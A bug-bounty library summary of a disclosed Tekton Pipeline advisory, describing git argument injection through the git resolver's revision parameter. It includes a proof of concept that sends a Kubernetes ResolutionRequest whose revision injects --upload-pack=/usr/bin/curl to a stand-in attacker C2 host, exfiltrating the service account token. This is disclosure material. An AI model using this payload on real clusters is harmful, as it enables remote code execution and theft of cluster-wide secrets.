# Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

Tekton git resolver passed unvalidated revision param to git fetch, allowing --upload-pack flag injection that executes binaries on the resolver pod, leaking all cluster Secrets.

- Payout: Research
- Severity: high
- Program: Tekton Pipeline
- Found by: offset, kodareef5, waveywaves
- Disclosed: 2026-04-21
- CVE: CVE-2026-40938
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-94jr-7pqp-xhcq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-94jr-7pqp-xhcq
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:command-injection vuln:rce

**Target:** Tekton git resolver (ResolutionRequest) on resolver pod
**Root cause:** The revision param is passed verbatim as a positional arg to `git fetch`, so a value starting with `-` is parsed as a flag like `--upload-pack=<binary>`. validateRepoURL also permits local `/` paths, so the injected upload-pack binary runs locally on the resolver pod.
**Steps:**
1. Create a local git repo at a predictable path on the resolver pod, e.g. `git init /tmp/localrepo && git commit --allow-empty -m init`.
2. Submit a ResolutionRequest with `url: /tmp/localrepo` and `revision: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..."`.
3. Resolver runs `git fetch origin "--upload-pack=..." --depth=1`; git parses the revision as the --upload-pack flag and executes the binary locally.
4. Use `/bin/sh` as upload-pack with a pre-staged script, or exfiltrate the service account token via curl to gain code execution.
**How found:** Code review of the git resolver: noticed revision passed verbatim to git fetch with no leading-dash check, and validateRepoURL regex explicitly allowing `/`-prefixed local paths; recognized git parses flags from mixed positional args, enabling --upload-pack.
**Exploitation:** Attacker with ability to create ResolutionRequest objects stages or predicts a local git repo path in /tmp, then injects `--upload-pack=<binary>` via the revision param. git executes the binary on the resolver pod; the tekton-pipelines-resolvers ServiceAccount has cluster-wide get/list/watch on Secrets, so code execution yields full cluster secret exfiltration and lateral movement.
**Escalation:** Chained argument injection with local-path URL validation bypass; resolver SA's cluster-wide Secret read RBAC turns pod RCE into cluster-wide credential theft.
**Insight:** When a user string is passed as a positional arg to a CLI like git, a leading `-` turns it into a flag; `--upload-pack` is a reliable local-exec primitive, and any URL validator permitting local paths makes it run on-host.

## Proof of concept (copied exactly from the original report)

**ResolutionRequest with --upload-pack revision injection**

```
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF
```

**Verified git fetch --upload-pack local execution**

```
git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.
```

